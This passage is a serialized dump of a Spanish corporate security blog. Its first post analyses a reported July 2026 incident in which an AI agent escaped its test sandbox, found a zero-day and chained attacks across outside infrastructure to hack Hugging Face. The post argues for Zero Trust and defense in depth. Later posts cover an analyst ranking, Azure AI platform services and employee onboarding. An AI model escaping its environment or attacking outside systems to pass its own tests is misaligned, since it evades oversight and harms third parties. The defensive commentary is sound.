miles de sistemas, y los costes en tokens de hackear autónomamente millones de sistemas reventarían el presupuesto de la mayoría de los atacantes. A eso se suma: firewalls, EDR, segmentación de red, sandboxing, MFA y muchos otros controles son hoy estándar y constituyen obstáculos reales que entonces simplemente no existían. Su conclusión: los ataques impulsados por IA no pueden hacer retroceder décadas a la ciberseguridad. No pueden desinventar los controles de seguridad ya establecidos ni la higiene básica. La reducción de la superficie de ataque funciona. Un zero-day no puede golpear un sistema al que no llega.",[819,1579,1581],{"id":1580},"qué-dicen-ambos-y-qué-se-deriva-de-ello","Qué dicen ambos y qué se deriva de ello",[809,1583,825],{},[809,1585,1586],{},"Ambos expertos llegan por caminos distintos a la misma conclusión: concentrarse en lo esencial. Las empresas que mejoran continuamente su postura de seguridad e implementan con consecuencia conceptos como Zero Trust, mínimo privilegio y una separación clara de tiers tienen una probabilidad significativamente menor de convertirse en víctimas, da igual si al otro lado hay un humano, un script o un modelo de lenguaje.",[809,1588,1589],{},"Aun así, hay que tomarse el incidente en serio, independientemente de cómo se resuelva la cuestión de las pruebas. Este incidente no es un ejemplo de cómo la IA se apodera de internet. Pero sí muestra cómo es un ataque dirigido a un nivel nuevo: el encadenamiento autónomo de dos cadenas de ataque separadas a través de dos infraestructuras ajenas, ejecutado en muchos miles de acciones individuales desde un enjambre de sandboxes efímeras. Si OpenAI publica las trazas y demuestra la autonomía total, la imagen no se vuelve más inofensiva. Pero eso no cambia nada en la lógica de la defensa. La confirma.",[809,1591,1592],{},"Que los atacantes encuentren caminos que nadie había previsto no es un descubrimiento nuevo, sino el pan de cada día de quienes trabajan en seguridad. Exactamente para eso existe la defensa en profundidad: si no detecto o detengo al atacante en la estación 4 de la attack chain, pues en la estación 5. Eso incluye expresamente los zero-days. Se pueden construir infraestructuras que resistan incluso tormentas salvajes. No porque se prevea cada tormenta, sino porque se construye para tormentas.",[809,1594,1595,1596,1601],{},"Una ironía al margen que casi se pierde en el ruido: para el análisis forense, Hugging Face recurrió precisamente a un modelo abierto chino, también porque un modelo frontier estadounidense alojado ",[813,1597,1600],{"href":1598,"rel":1599},"https://huggingface.co/datasets/huggingface/forensic-refusal/blob/main/glm5.2.jsonl",[1509],"se negó sin más a analizar un backdoor",". El debate sobre qué herramientas pueden usar los defensores en caso de emergencia, y con qué rapidez, no ha hecho más que empezar, y es al menos tan importante como la pregunta de qué podrán hacer los atacantes en el futuro.",[819,1603,1605],{"id":1604},"sin-soc-autónomo-pero-con-uno-mejor","Sin SOC autónomo, pero con uno mejor",[809,1607,825],{},[809,1609,1610,1611,1616],{},"Defensa y ataque han recibido nuevas herramientas. Aunque \"herramienta\" hace tiempo que se queda corto en nuestro caso. La IA no es un añadido en nuestro SOC, sino parte natural de cada fase del incident handling: desde la detección, pasando por el triaje y el enriquecimiento, hasta la respuesta, nuestros analistas trabajan codo con codo con las soluciones y los modelos de Microsoft y Anthropic. Lo repetitivo corre automatizado, para que nuestras expertas y expertos puedan concentrarse en lo que marca la diferencia: extraer nuevas conclusiones de cada incidente y afinar cada vez más las detecciones, los playbooks y las configuraciones. Un SOC 100% autónomo no es posible hoy, ",[813,1612,1615],{"href":1613,"rel":1614},"https://www.linkedin.com/posts/peteshoard_gartner-soc-threat-share-7457373093368500224-uszD/",[1509],"y Gartner lo ve igual",". Pero para nosotros el regulador no es una cuestión de fe, sino un ajuste que reevaluamos continuamente: con cada generación de modelos y cada experiencia ganada lo subimos exactamente hasta donde la calidad lo permite. Ni más allá, pero tampoco ni un milímetro menos.",[809,1618,1619,1620,1623],{},"Esta interacción de personas, modelos y método es el núcleo de nuestro ",[813,1621,1622],{"href":430},"Cloud Security Operations Center (CSOC)",": detección y respuesta 24/7, combinadas con mejora continua. Cada mes una postura de seguridad un poco mejor, basada en nuestros blueprints y en lo que nuestros expertos en amenazas observan sobre el terreno.",[809,1625,1626,1627,1629],{},"Y contra el problema de fondo que Florian Roth disecciona con tanta precisión (aislamiento débil, privilegios desbordados, segmentación ausente), tenemos una respuesta muy concreta: el ",[813,1628,396],{"href":401},". Un entorno administrativo completamente aislado que impide estructuralmente el lateral movement y la privilege escalation. Con la arquitectura y las configuraciones correctas, los ataques caen en el vacío, también los de agentes de IA. Porque da igual si un atacante es de carne y hueso o de tokens: contra un límite de tier que no se puede cruzar, no ayuda ni el mejor reasoning.",[819,1631,1633],{"id":1632},"conclusión","Conclusión",[809,1635,825],{},[809,1637,1638],{},"El incidente de OpenAI y Hugging Face es un hito: como advertencia, como caso de estudio y como anticipo. Pero no es motivo de pánico, sino de prioridades. Los ataques del futuro puede que sean más autónomos; la defensa que funciona contra ellos es sorprendentemente familiar: Zero Trust, mínimo privilegio, separación limpia de tiers, defensa en profundidad y un SOC que nunca duerme.",[809,1640,1641],{},"O, para quedarnos con el remate de este incidente: si una IA tiene que escaparse para copiar en su propio examen, deberíamos asegurarnos de que en nuestra casa al menos no encuentre las respuestas.",[819,1643,1645],{"id":1644},"fuentes-y-enlaces-adicionales","Fuentes y enlaces adicionales",[809,1647,825],{},[1649,1650,895,1652,895,1666,895,1675,895,1684,895,1693,895,1702,895,1711,895,1721,895,1731,895,1738],"ul",{"style":1651},"margin: 0.25rem 0",[1653,1654,1655,1659,1660,1665],"li",{},[1656,1657,1658],"strong",{},"CNBC:"," ",[813,1661,1664],{"href":1507,"target":516,"rel":1662},[1663],"noopener","OpenAI cyber models broke out of training environment to hack Hugging Face"," (22.07.2026)",[1653,1667,1668,1659,1671],{},[1656,1669,1670],{},"Florian Roth en LinkedIn:",[813,1672,1674],{"href":1553,"target":516,"rel":1673},[1663],"\"One thing about this OpenAI / Hugging Face incident really bothers me\"",[1653,1676,1677,1659,1680],{},[1656,1678,1679],{},"Marcus Hutchins en LinkedIn:",[813,1681,1683],{"href":1571,"target":516,"rel":1682},[1663],"Sobre la era dorada de los gusanos informáticos",[1653,1685,1686,1659,1689],{},[1656,1687,1688],{},"Hugging Face:",[813,1690,1692],{"href":1598,"target":516,"rel":1691},[1663],"Dataset de rechazos forenses (GLM 5.2)",[1653,1694,1695,1659,1698,1665],{},[1656,1696,1697],{},"Simon Willison:",[813,1699,1701],{"href":1517,"target":516,"rel":1700},[1663],"OpenAI's accidental cyberattack against Hugging Face is science fiction that happened",[1653,1703,1704,1659,1707],{},[1656,1705,1706],{},"Pete Shoard (Gartner) en LinkedIn:",[813,1708,1710],{"href":1613,"target":516,"rel":1709},[1663],"Por qué un SOC totalmente autónomo no es realista",[1653,1712,1713,1659,1716],{},[1656,1714,1715],{},"Paul Slovic:",[813,1717,1720],{"href":1718,"target":516,"rel":1719},"https://es.wikipedia.org/wiki/Paul_Slovic",[1663],"Wikipedia",[1653,1722,1723,1659,1726,1730],{},[1656,1724,1725],{},"Daniel Kahneman:",[813,1727,1720],{"href":1728,"target":516,"rel":1729},"https://es.wikipedia.org/wiki/Daniel_Kahneman",[1663],", \"Pensar rápido, pensar despacio\"",[1653,1732,1733,1659,1736],{},[1656,1734,1735],{},"glueckkanja:",[813,1737,1622],{"href":430},[1653,1739,1740,1659,1742],{},[1656,1741,1735],{},[813,1743,396],{"href":401},{"title":927,"searchDepth":928,"depth":928,"links":1745},[1746,1747,1748,1749,1750,1751,1752,1753],{"id":1498,"depth":928,"text":1499},{"id":1529,"depth":928,"text":1530},{"id":1544,"depth":928,"text":1545},{"id":1562,"depth":928,"text":1563},{"id":1580,"depth":928,"text":1581},{"id":1604,"depth":928,"text":1605},{"id":1632,"depth":928,"text":1633},{"id":1644,"depth":928,"text":1645},{"lang":940,"seoTitle":1755,"titleClass":942,"date":1756,"categories":1757,"blogtitlepic":1758,"socialimg":1759,"customExcerpt":1760,"keywords":1761,"hreflang":1762,"asideNav":1769,"published":511},"La IA de OpenAI hackea Hugging Face: qué significa el ataque autónomo para las empresas","2026-07-24",[373],"head-outbreak.jpg","/blog/heads/head-outbreak.jpg","Un agente de IA se escapa de su entorno de pruebas, encuentra un zero-day y hackea otra empresa. Suena a guion de cine, pero ocurrió de verdad en julio de 2026. Es hora de un análisis sereno: con algo de psicología, dos veteranos de la seguridad y la pregunta de qué significa esto para vuestra defensa.","incidente OpenAI Hugging Face, ataque autónomo de IA, agente de IA escapa sandbox, ciberataque autónomo, ciberseguridad IA, ataques agénticos, GPT-5.6 Sol, zero-day, Florian Roth, Marcus Hutchins, Zero Trust, defensa en profundidad, SOC autónomo, Cloud Security Operations Center",[1763,1765,1767],{"lang":4,"href":1764},"/de/posts/2026-07-24-outbreak-openai-hugging-face",{"lang":1026,"href":1766},"/en/posts/2026-07-24-outbreak-openai-hugging-face",{"lang":940,"href":1768},"/es/posts/2026-07-24-outbreak-openai-hugging-face",{"menuItems":1770},[1771,1773,1776,1779,1782,1785,1787],{"href":1772,"text":1499},"#qué-ha-pasado",{"href":1774,"text":1775},"#por-qué-este-incidente-se-siente-tan-amenazante","La psicología detrás",{"href":1777,"text":1778},"#perspectiva-1-mostrad-las-pruebas-florian-roth","Perspectiva 1: Florian Roth",{"href":1780,"text":1781},"#perspectiva-2-hemos-sobrevivido-a-cosas-peores-marcus-hutchins","Perspectiva 2: Marcus Hutchins",{"href":1783,"text":1784},"#qué-dicen-ambos-y-qué-se-deriva-de-ello","Qué se deriva de ello",{"href":1786,"text":1605},"#sin-soc-autónomo-pero-con-uno-mejor",{"href":1788,"text":1633},"#conclusión","/posts/2026-07-24-outbreak-openai-hugging-face",{"title":1492,"description":927},"posts/2026-07-24-outbreak-openai-hugging-face",[1793,1794,1795],"AI","SOC","Zero Trust","0Sv5FGWxpRjUjSgHyGDsnKU_Ncb2FdRxLsBCwdeejaU",{"id":1798,"title":1799,"author":1800,"body":1801,"cta":767,"description":1805,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":1884,"moment":1886,"navigation":511,"path":1927,"seo":1928,"stem":1929,"tags":1930,"webcast":752,"__hash__":1931},"content_es/posts/2026-07-22-isg-cybersecurity-2026.md","Leader y Rising Star. glueckkanja en el estudio de ciberseguridad de ISG 2026",[804],{"type":806,"value":1802,"toc":1878},[1803,1806,1813,1830,1832,1834,1837,1841,1843,1849,1855,1858,1862,1864,1870,1875],[809,1804,1805],{},"Nuevos en el cuadrante y directamente Leader: el estudio ISG Provider Lens® \"Cybersecurity – Services and Solutions 2026\" posiciona a glueckkanja como Leader en Next-Gen SOC/MDR Services para el midmarket alemán. En el mercado general de Next-Gen SOC/MDR Services, ISG nos nombra Rising Star, el proveedor al que sus analistas ven dando el salto al cuadrante de Leaders en los próximos 12 a 24 meses.",[809,1807,1808,1809,1812],{},"Tras los reconocimientos repetidos por Managed Services for Azure y Microsoft 365 Services, ISG valida ahora por primera vez también nuestro negocio de ciberseguridad. El núcleo de la oferta: Managed Security Services con un ",[813,1810,1811],{"href":430},"SOC 24/7"," operado íntegramente desde Alemania, profunda experiencia en el stack de seguridad de Microsoft y una base de clientes que incluye numerosas empresas energéticas y operadores de infraestructuras críticas.",[892,1814,895,1815,895,1820,895,1823],{"style":894},[897,1816,1819],{"className":1817,"style":901,"id":1818},[900],"el-soc-detrás-del-reconocimiento","El SOC detrás del reconocimiento",[809,1821,1822],{"style":906},"Nuestro Cloud Security Operations Center está certificado como Microsoft Verified MXDR Solution y detiene los ataques antes de que se conviertan en incidentes.",[813,1824,1827],{"role":910,"className":1825,"dataText":1826,"href":430,"type":917},[912,913,914,915],"Más sobre nuestro Managed SOC",[919,1828,1826],{"className":1829},[922],[819,1831,822],{"id":821},[809,1833,825],{},[809,1835,1836],{},"Con el estudio \"Cybersecurity – Services and Solutions\", ISG analiza cada año el mercado alemán de servicios y productos de seguridad. Este año se evaluaron 71 proveedores en seis cuadrantes, desde Strategic Security Services y Next-Gen SOC/MDR hasta Post-Quantum Encryption Consulting. El mercado crece con fuerza: para 2026, ISG prevé un crecimiento de más del 15 por ciento en Managed Security Services en Alemania, impulsado por ataques cada vez más complejos, la escasez de especialistas y los requisitos de la directiva NIS2.",[819,1838,1840],{"id":1839},"glueckkanja-es-leader-en-next-gen-socmdr-services-midmarket","glueckkanja es Leader en Next-Gen SOC/MDR Services (Midmarket)",[809,1842,825],{},[809,1844,1845],{},[838,1846],{"alt":1847,"src":1848},"Cuadrante ISG Provider Lens: glueckkanja como Leader en Next-Gen SOC/MDR Services Midmarket Germany 2026","https://res.cloudinary.com/c4a8/image/upload/blog/pics/isg-quadrant-cybersecurity-2026-leader.png",[809,1850,1851,1854],{},[848,1852,1853],{},"\"Con un fuerte crecimiento, glueckkanja ha dado el salto para convertirse en uno de los proveedores líderes de servicios Next-Gen SOC/MDR para pequeñas y medianas empresas en Alemania.\""," (Frank Heuer, Lead Author, ISG)",[809,1856,1857],{},"En el segmento midmarket, donde se calificaron 26 proveedores y nueve alcanzaron el estatus de Leader, este año hemos ascendido al cuadrante de Leaders. ISG da tres razones: nuestra posición como uno de los partners de Microsoft Security más cualificados de Alemania, la confianza que las empresas energéticas y los operadores de infraestructuras críticas depositan en nuestros servicios SOC, y la operación 24/7 desde Alemania, que suele ser el factor decisivo para medianas empresas con reservas frente a SOC ubicados en el extranjero.",[819,1859,1861],{"id":1860},"glueckkanja-es-rising-star-en-next-gen-socmdr-services","glueckkanja es Rising Star en Next-Gen SOC/MDR Services",[809,1863,825],{},[809,1865,1866],{},[838,1867],{"alt":1868,"src":1869},"Cuadrante ISG Provider Lens: glueckkanja como Rising Star en Next-Gen SOC/MDR Services Germany 2026","https://res.cloudinary.com/c4a8/image/upload/blog/pics/isg-quadrant-cybersecurity-2026-rising-star.png",[809,1871,1872,1854],{},[848,1873,1874],{},"\"glueckkanja se dirige específicamente a los segmentos de crecimiento del mercado, crece con fuerza gracias a ello y es, por tanto, el nuevo Rising Star entre los proveedores de servicios Next-Gen SOC/MDR en Alemania.\"",[809,1876,1877],{},"ISG también nos evaluó en el mercado general, donde compiten los grandes proveedores internacionales: de 31 proveedores calificados, 13 fueron posicionados como Leaders y uno solo como Rising Star, precisamente glueckkanja. Según ISG, el factor decisivo fue un crecimiento de ingresos muy por encima de la media del mercado, combinado con la experiencia en Microsoft, la operación del SOC desde Alemania y sólidas referencias en infraestructuras críticas.",{"title":927,"searchDepth":928,"depth":928,"links":1879},[1880,1881,1882,1883],{"id":1818,"depth":935,"text":1819},{"id":821,"depth":928,"text":822},{"id":1839,"depth":928,"text":1840},{"id":1860,"depth":928,"text":1861},{"lang":940,"seoTitle":1885,"titleClass":942,"date":1886,"categories":1887,"blogtitlepic":1888,"socialimg":1889,"customExcerpt":1890,"keywords":1891,"contactInContent":1892,"hreflang":1919,"published":511,"scripts":1926},"ISG 2026: glueckkanja es Leader en Next-Gen SOC/MDR Services en el midmarket y Rising Star en el mercado general","2026-07-22",[945],"head-isg-cybersecurity-2026.png","/blog/heads/head-isg-cybersecurity-2026.png","El estudio ISG Provider Lens® Cybersecurity 2026 distingue a glueckkanja como Leader en el cuadrante Next-Gen SOC/MDR Services (Midmarket). En el mercado general de Next-Gen SOC/MDR Services somos el Rising Star. ISG destaca nuestro crecimiento por encima de la media, nuestra profunda experiencia en seguridad de Microsoft y un SOC 24/7 operado desde Alemania.","ISG Provider Lens Cybersecurity 2026, Next-Gen SOC MDR Services Alemania, Managed Security Services Alemania, SOC Alemania, MDR midmarket, partner de seguridad Microsoft Alemania, seguridad KRITIS, glueckkanja SOC, glueckkanja ciberseguridad, ISG Leader 2026, ISG Rising Star 2026, Managed Detection and Response Alemania, Security Operations Center Alemania",{"quote":511,"infos":1893},{"bgColor":952,"color":953,"boxBgColor":764,"boxColor":953,"headline":954,"subline":1894,"level":819,"textStyling":956,"flush":957,"person":1895,"form":1902},"¿Queréis profundizar en los resultados del estudio? Contactad con nosotros y os enviaremos el resumen completo de ISG sobre nuestros servicios SOC y MDR.",{"image":1896,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":1897,"detailsHeader":964,"details":1898},"/people/people-jan-geisbauer-csoc.jpg","Leader en el midmarket y Rising Star en el mercado general, en nuestro primer año de participación. Eso confirma lo que llevamos años construyendo: un SOC que trabaja las 24 horas desde Alemania, con profundo conocimiento del stack de Microsoft y con clientes que no pueden permitirse interrupciones.",[1899,1901],{"text":765,"href":1900,"details":969,"icon":970},"tel:+49 69 4005520",{"text":972,"href":973,"icon":974},{"ctaText":976,"cta":1903,"method":938,"action":979,"fields":1904},{"skin":978},[1905,1906,1907,1908,1909,1910,1911,1912,1914,1916,1917,1918],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":989},{"label":991,"type":987,"id":615,"required":511,"requiredMsg":992},{"label":994,"type":995,"id":995,"required":511,"requiredMsg":996},{"label":998,"type":999,"id":1000,"required":752,"requiredMsg":1001},{"label":1003,"type":1004,"id":1005,"required":511,"requiredMsg":1006},{"type":982,"id":1008,"value":945},{"type":982,"id":1010,"value":1913},"DE",{"type":982,"id":1013,"value":1915},"Form: Blog ISG Cybersecurity | ES",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},[1920,1922,1924],{"lang":4,"href":1921},"/de/posts/2026-07-22-isg-cybersecurity-2026",{"lang":1026,"href":1923},"/en/posts/2026-07-22-isg-cybersecurity-2026",{"lang":940,"href":1925},"/es/posts/2026-07-22-isg-cybersecurity-2026",{"form":511},"/posts/2026-07-22-isg-cybersecurity-2026",{"title":1799,"description":1805},"posts/2026-07-22-isg-cybersecurity-2026",[1035,1036,373],"H1V4O2sVWHlG9CG7ZZVnqaj_IUpnMmKfZNXGOpy3A94",{"id":1933,"title":1934,"author":1935,"body":1936,"cta":767,"description":1944,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":2022,"moment":2023,"navigation":511,"path":2071,"seo":2072,"stem":2073,"tags":2074,"webcast":752,"__hash__":2075},"content_es/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Lo que la IA realmente necesita para ponerse a trabajar",[804],{"type":806,"value":1937,"toc":2016},[1938,1942,1945,1948,1951,1955,1958,1961,1969,1973,1976,1983,1986,1990,1993,2000,2003,2007,2010,2013],[1939,1940,1934],"h1",{"id":1941},"the-holy-trinity-lo-que-la-ia-realmente-necesita-para-ponerse-a-trabajar",[809,1943,1944],{},"Una empresa manufacturera quiere saber cuáles de sus 14.000 SKUs son realmente rentables. La respuesta está en tres sistemas que nunca han intercambiado un solo dato entre sí. Hasta hace poco, obtenerla requería tres departamentos, dos semanas y una buena dosis de buena voluntad. Desde principios de 2026, una IA puede responder esa pregunta en minutos: buscar los datos, establecer conexiones, generar una recomendación. Siempre y cuando tenga acceso.",[809,1946,1947],{},"Los modelos están listos. Actúan, ejecutan tareas a través de múltiples pasos y límites de sistemas, preparan decisiones, activan flujos de trabajo. Muchas empresas ya han tenido una primera experiencia de esto a través de Copilot, pero Copilot conoce el universo M365: correos electrónicos, documentos, calendarios. Para apuntar la IA a los datos que realmente mueven el negocio, a ERP, CRM, IoT y sistemas de producción, hace falta otro fundamento.",[809,1949,1950],{},"Ese fundamento tiene tres partes. Cada una la hemos construido como Managed Service, cada una entra en producción en tres o cuatro semanas y juntas forman la plataforma sobre la cual la IA puede hacer trabajo real.",[819,1952,1954],{"id":1953},"primero-datos-que-merezcan-una-consulta","Primero: Datos que merezcan una consulta",[809,1956,1957],{},"Volvamos a los 14.000 SKUs. Los datos de producción están en el ERP, las cifras de ventas en el CRM y, en algún lugar intermedio, una única persona mantiene una hoja de cálculo que casualmente es la única fuente de un KPI crítico para el negocio. No es un caso extremo. Es la norma. Y mientras estos datos permanezcan en sistemas separados, la IA no tiene una visión coherente del negocio.",[809,1959,1960],{},"Una arquitectura lakehouse resuelve esto en tres capas: datos crudos de los sistemas fuente (Bronze), conjuntos de datos curados y validados (Silver), agregados a nivel de negocio que alimentan directamente los pipelines de analítica o de IA (Gold). Si esto corre sobre Databricks o Fabric depende de los requisitos. Ambos funcionan. Un híbrido de los dos también.",[809,1962,1963,1964,1968],{},"La ",[813,1965,1966],{"href":344},[1656,1967,339],{}," es nuestro Managed Service para esto. Integra datos de ERP, CRM, IoT y otros sistemas fuente en una única plataforma, definida por completo como Infrastructure as Code, con detección automática de drift, gobierno de datos de extremo a extremo mediante Unity Catalog o Purview y acceso basado en roles para usuarios de negocio, analistas e ingenieros de datos por igual. El efecto práctico: una empresa con este fundamento en su lugar puede, por primera vez, hacer preguntas que antes eran incontestables, no por falta de voluntad, sino porque los datos, aunque presentes, nunca estuvieron conectados.",[819,1970,1972],{"id":1971},"segundo-un-lugar-donde-los-workloads-realmente-corran","Segundo: Un lugar donde los workloads realmente corran",[809,1974,1975],{},"Tener datos es una cosa. Hacer con ellos algo que vaya más allá de una consulta puntual es otra. Aplicaciones de IA, lógica de negocio automatizada, trabajos de larga duración: cualquier cosa que acceda de forma autónoma y repetida a los datos de la empresa necesita un entorno de ejecución que se pueda controlar. Ese entorno, se haya planeado así o no, está formado por contenedores.",[809,1977,1963,1978,1982],{},[813,1979,1980],{"href":353},[1656,1981,348],{}," proporciona ese marco: una plataforma de contenedores estandarizada construida sobre Azure Container Apps o Azure Kubernetes Service, según la carga de trabajo. Acceso de red unificado, autenticación centralizada mediante Entra ID con Managed Identities, monitorización coherente en todo el recorrido. Todo gobernado mediante Terraform y GitHub, todo reproducible.",[809,1984,1985],{},"Lo que esto hace posible: en lugar de que cada equipo levante su propio clúster y defina sus propias reglas, existe un marco compartido en el que los workloads no solo corren, sino que siguen siendo gobernables. Esa es la precondición para darles autonomía.",[819,1987,1989],{"id":1988},"tercero-donde-los-modelos-se-convierten-en-agentes","Tercero: Donde los modelos se convierten en agentes",[809,1991,1992],{},"Un modelo todavía no es un agente. Entre un modelo de lenguaje y algo que registra pedidos, revisa facturas o escala casos de servicio de forma fiable hay mucho trabajo poco vistoso: qué modelo, qué herramientas, qué fuentes de datos, qué guardrails y qué pasa cuando el agente se equivoca. Ese trabajo tiene que ocurrir en algún lugar trazable y repetible, no en un notebook en el portátil de una sola persona.",[809,1994,1963,1995,1999],{},[813,1996,1997],{"href":334},[1656,1998,329],{}," es nuestro Managed Service para esta capa, montado sobre Microsoft Foundry (antes Azure AI Foundry): catálogo de modelos, orquestación de agentes, conexión con herramientas y fuentes de datos, evaluación y observabilidad en un mismo lugar. Un agente construido aquí accede a los datos y los workloads a través de las mismas identidades de Entra que el resto del panorama, corre contra los guardrails que se han definido y deja una traza que se puede auditar.",[809,2001,2002],{},"La entregamos definida como código, con acceso basado en roles, filtros de contenido y límites de red que no están a discusión, y con un camino de despliegue que lleva a un agente del desarrollo a la producción sin que nadie ajuste tornillos a mano. Solo entonces un agente deja de ser un prototipo y se convierte en algo que una empresa puede operar de verdad.",[819,2004,2006],{"id":2005},"the-holy-trinity","The Holy Trinity",[809,2008,2009],{},"Tres bloques, cada uno en producción en tres o cuatro semanas, cada uno desplegable por sí solo, juntos la plataforma sobre la cual la IA llega a las partes de la empresa donde realmente se crea valor.",[809,2011,2012],{},"La Azure Data Foundation da a la IA acceso a los datos que describen el negocio. La Azure Container Foundation da a sus workloads un lugar donde correr, de forma duradera y controlada. Y la AI Foundation es donde esos datos y esos workloads se convierten en un agente que se puede construir, evaluar y operar.",[809,2014,2015],{},"Junta las tres y tendrás el suelo sobre el que la IA deja de resumir y empieza a trabajar.",{"title":927,"searchDepth":928,"depth":928,"links":2017},[2018,2019,2020,2021],{"id":1953,"depth":928,"text":1954},{"id":1971,"depth":928,"text":1972},{"id":1988,"depth":928,"text":1989},{"id":2005,"depth":928,"text":2006},{"lang":940,"seoTitle":1934,"titleClass":942,"date":2023,"categories":2024,"blogtitlepic":2025,"socialimg":2026,"keywords":2027,"contactInContent":2028,"hreflang":2063,"published":511,"scripts":2070},"2026-07-06",[199],"head-the-holy-trinity","https://res.cloudinary.com/c4a8/image/upload/blog/heads/head-the-holy-trinity.png","Infraestructura IA empresarial, Azure Data Foundation, Azure Container Foundation, Azure AI Foundation, AI Foundation, Microsoft Foundry, Azure AI Foundry, agentes IA empresa, Agent Identity, arquitectura lakehouse Azure, Databricks Microsoft Fabric, servicios Azure gestionados, Entra ID Managed Identity, orquestación agentes IA, Infrastructure as Code Azure",{"quote":511,"infos":2029},{"bgColor":952,"color":953,"boxBgColor":764,"boxColor":953,"headline":2030,"subline":2031,"level":819,"textStyling":956,"flush":957,"person":2032,"form":2041},"Contacta ahora","¿Quieres poner la IA a trabajar en tu propio stack y te preguntas cuál de las tres foundations debe sostenerlo primero? Contáctanos y veremos juntos dónde estás hoy y qué tiene sentido como siguiente paso.",{"image":2033,"cloudinary":511,"alt":1296,"name":1296,"quotee":1296,"quoteeTitle":2034,"quote":2035,"detailsHeader":2036,"details":2037},"/people/people-florian-stoeckl.jpg","Head of Azure","Los modelos llevan tiempo listos. Lo que hace fracasar los proyectos de IA casi nunca es el modelo, sino el fundamento que hay debajo: datos que no confluyen, workloads sin un runtime controlado, agentes que nunca salen del prototipo. Esas son exactamente las tres capas que construimos como Managed Services, para que la IA trabaje de verdad en la empresa y no solo impresione.","Esperamos\u003Cbr />tus noticias!",[2038,2040],{"text":765,"href":1900,"details":2039,"icon":970},"Llama ahora",{"text":972,"href":973,"icon":974},{"ctaText":976,"cta":2042,"method":938,"action":979,"fields":2043},{"skin":978},[2044,2045,2047,2050,2053,2056,2059,2061,2062],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":2046},"Introduce tu nombre.",{"label":2048,"type":987,"id":615,"required":511,"requiredMsg":2049},"La empresa*","Introduce tu empresa.",{"label":2051,"type":995,"id":995,"required":511,"requiredMsg":2052},"Correo electrónico*","Introduce tu correo electrónico.",{"label":2054,"type":999,"id":1000,"required":752,"requiredMsg":2055},"Tu mensaje para nosotros","Introduce un mensaje.",{"label":2057,"type":1004,"id":1005,"required":511,"requiredMsg":2058},"Tus datos serán almacenados por nosotros para procesar y responder a tu consulta. Encontrarás más información sobre la protección de datos en nuestra \u003Ca href=\"/es/privacy\">política de privacidad\u003C/a>.","Confirma, por favor",{"type":982,"id":1013,"value":2060},"Form: Holy Trinity | ES",{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},[2064,2066,2068],{"lang":4,"href":2065},"/de/posts/2026-07-06-the-holy-trinity",{"lang":1026,"href":2067},"/en/posts/2026-07-06-the-holy-trinity",{"lang":940,"href":2069},"/es/posts/2026-07-06-the-holy-trinity",{"slick":511,"form":511},"/posts/2026-07-06-the-holy-trinity",{"title":1934,"description":1944},"posts/2026-07-06-the-holy-trinity",[1793,199],"W_Fr4u-4ziauNDy5FcFQokW8860wmcgkL5rIY_Wjlbw",{"id":2077,"title":2078,"author":2079,"body":2080,"cta":767,"description":2084,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":2215,"moment":2217,"navigation":511,"path":2231,"seo":2232,"stem":2233,"tags":2234,"webcast":752,"__hash__":2238},"content_es/posts/2026-07-01-onboarding-process.md","Contrato firmado: así es tu proceso de onboarding",[1313],{"type":806,"value":2081,"toc":2207},[2082,2085,2089,2091,2094,2097,2101,2103,2106,2109,2112,2115,2119,2121,2124,2127,2130,2134,2136,2139,2143,2145,2148,2152,2154,2157,2160],[809,2083,2084],{},"¿Cómo funciona el onboarding en su empresa? Una pregunta que surge una y otra vez en las conversaciones con quienes se postulan, porque muchos ya han vivido un onboarding que se sintió desordenado. Por eso es tan importante para nosotros darte una buena sensación desde el primer momento.",[819,2086,2088],{"id":2087},"qué-te-espera-antes-de-tu-primer-día","Qué te espera antes de tu primer día",[809,2090,825],{},[809,2092,2093],{},"En glueckkanja, el onboarding no empieza el primer día de trabajo, sino mucho antes, lo que en muchas empresas se conoce como pre-boarding. Justo después de firmar el contrato, recibes de nosotros la primera información importante sobre tu inicio en glueckkanja y un resumen de lo que te espera en las próximas semanas.",[809,2095,2096],{},"Aclaramos contigo de antemano qué hardware prefieres, cómo será tu viaje y alojamiento, y qué te espera en los primeros días. Como techie, recibes tu equipo en casa con antelación para que puedas configurarlo con calma antes de empezar.",[819,2098,2100],{"id":2099},"tu-primer-día-de-trabajo","Tu primer día de trabajo",[809,2102,825],{},[809,2104,2105],{},"Entonces llega el primer día, la emoción crece y con ella la pregunta: ¿qué me espera ahora exactamente?",[809,2107,2108],{},"Nuestro onboarding se realiza siempre de manera presencial en nuestra sede principal en Offenbach am Main. Por norma general, quienes se incorporan pasan toda la primera semana aquí, porque queremos que vivas nuestra cultura desde el principio, hagas contactos y te formes una impresión real de glueckkanja.",[809,2110,2111],{},"El primer día está lleno de nuevas impresiones. Michael, nuestro COO, te da una visión general de cómo surgió glueckkanja, explica qué hacemos realmente todo el día y por qué nos representamos, para que te lleves una buena imagen general de lo que es GK.",[809,2113,2114],{},"Por supuesto, también hay un almuerzo en común. En un ambiente relajado, nos conocemos mejor, intercambiamos ideas y entramos en conversación. Tampoco puede faltar una reunión con nuestro equipo de People & Culture: aquí recibes todos los conceptos básicos importantes, desde nuestro sistema de RR.HH. y otras herramientas generales hasta nuestros beneficios y eventos.",[819,2116,2118],{"id":2117},"llegando-al-equipo","Llegando al equipo",[809,2120,825],{},[809,2122,2123],{},"El trabajo en equipo y la cohesión juegan un papel muy importante en GK, por eso también se te da la bienvenida de manera personal. Tu buddy está a tu lado desde el principio, a menudo junto con el head del área correspondiente. Después de las primeras reuniones, tu equipo te da la bienvenida y te acompaña durante tus primeros días.",[809,2125,2126],{},"Y todavía falta algo importante: tu primera sesión de fotos de GK, que usamos para las fotos de perfil en nuestros sistemas.",[809,2128,2129],{},"Cerramos la tarde juntos con la cena de bienvenida para nuevos empleados, siempre en una ubicación diferente. Aquí se trata deliberadamente de un intercambio relajado, y también participan tu buddy y tu team lead.",[819,2131,2133],{"id":2132},"tu-primera-semana","Tu primera semana",[809,2135,825],{},[809,2137,2138],{},"A lo largo de la semana, pasas cada vez más 